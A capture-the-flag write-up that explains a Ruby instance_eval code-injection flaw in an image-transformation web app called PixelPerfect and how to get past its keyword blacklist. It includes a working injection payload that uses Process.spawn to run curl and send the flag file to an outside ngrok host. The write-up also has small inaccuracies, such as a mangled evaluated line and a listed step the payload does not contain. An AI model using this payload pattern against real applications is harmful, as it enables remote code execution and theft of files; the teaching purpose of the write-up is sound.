Flash CTF – Pixel Perfect

Challenge Overview

PixelPerfect is a web application that allows users to upload images and apply various transformations using metadata directives. Users provide transformation instructions like format: jpg or resize: 800x600 to modify their images. However, the application contains a critical vulnerability that allows for code injection via user-supplied metadata.

The application uses a Ruby class called ImageProcessor for handling image transformations, even though the UI refers to the application as “PixelPerfect.” This distinction is important when examining the code and understanding how the vulnerability works.

Vulnerability Identification

The root cause of the vulnerability lies in the unsafe use of Ruby’s instance_eval() method in the image processing logic.

In app.rb, we can see the following code:

# In the process_image method
@metadata.each do |directive, value|
  begin
    # Add timeout to each directive to prevent hanging
    Timeout.timeout(30) do
      instance_eval("apply_#{directive}('#{value}')")
    end
  rescue Timeout::Error
    puts "Processing timeout for directive: #{directive}"
  rescue => e
    puts "Error processing directive #{directive}: #{e.message}"
  end
end

The vulnerability occurs because:

  1. User input (directive and value) is directly used in an instance_eval() call
  2. Although there’s a security check that tries to filter out dangerous patterns like systemexec`$evalloadrequireIOFile, and string interpolation (#{}), this filter can be bypassed
  3. The application takes each directive and dynamically calls the corresponding method using apply_#{directive}('#{value}')

The Security Filter

The application implements a simple security check:

def parse_metadata(text)
  # Quick security scan - we're safe, right?
  if text =~ /system|exec|`|\$|eval|load|require|IO|File|#\{/
    raise "Potentially malicious metadata detected!"
  end
  
  metadata = {}
  # Process each line as key: value
  text.each_line do |line|
    next if line.strip.empty?
    key, value = line.split(':', 2)
    metadata[key.strip] = value.strip if key && value
  end
  metadata
end

This security check looks for common command execution and file access patterns, but it’s incomplete and can be bypassed using alternative Ruby methods.

The Exploitation

To exploit this vulnerability, we need to understand how instance_eval() works in Ruby.

instance_eval() is a method that evaluates a string or block within the context of an object. When a string is passed to instance_eval(), Ruby executes that string as Ruby code within the context of the object. This is extremely dangerous when user input is involved.

In this case:

  • The string being evaluated is: apply_#{directive}('#{value}')
  • If we control value, we can break out of the string quotes and inject arbitrary Ruby code

For Futher information: https://medium.com/rubycademy/ruby-instance-eval-a49fd4afa268

Exploitation Steps

  1. While the application blocks direct use of system or backticks, it doesn’t block Process.spawn(), which can also execute system commands
  2. We can inject a payload that breaks out of the string quotes and executes our code
  3. Use '); to close the current statement
  4. Add our malicious Ruby code
  5. Add (' to form valid syntax for the remainder of the statement

For example, if we inject the following payload:

resize: '); puts "Hello World!"; ('

When processed by instance_eval() in the ImageProcessor class, it will be evaluated to:

apply_resize(''); puts "Hello World!"; ('')

This would print “Hello World!” to the server console. This simple example demonstrates how we can break out of the string context and inject arbitrary Ruby code. Note that the apply_resize method is a legitimate method of the ImageProcessor class that we’re breaking out of to execute our own code.

Payload

Uing the same approach we can use Process.spawn() to bypass the blacklist and get command execution.

resize: '); Process.spawn("/usr/bin/curl", "https://6850-176-29-224-4.ngrok-free.app", "-F", "flag=@/app/flag.txt").tap{|pid| Process.wait(pid)}; ('

This payload:

  1. Breaks out of the current statement with ');
  2. Uses Process.spawn() to run a curl command that sends the flag file to an attacker-controlled webhook
  3. Uses .tap{|pid| Process.wait(pid)} to wait for the command to complete
  4. Adds error handling to report any issues that might occur
  5. Adds ; (' to make the resulting Ruby code syntactically valid

When processed by instance_eval(), the resulting code looks like:

pply_resize: (''); Process.spawn("/usr/bin/curl", "https://6850-176-29-224-4.ngrok-free.app", "-F", "flag=@/app/flag.txt").tap{|pid| Process.wait(pid)}; ('')

This executes our curl command and exfiltrates the flag file to our server.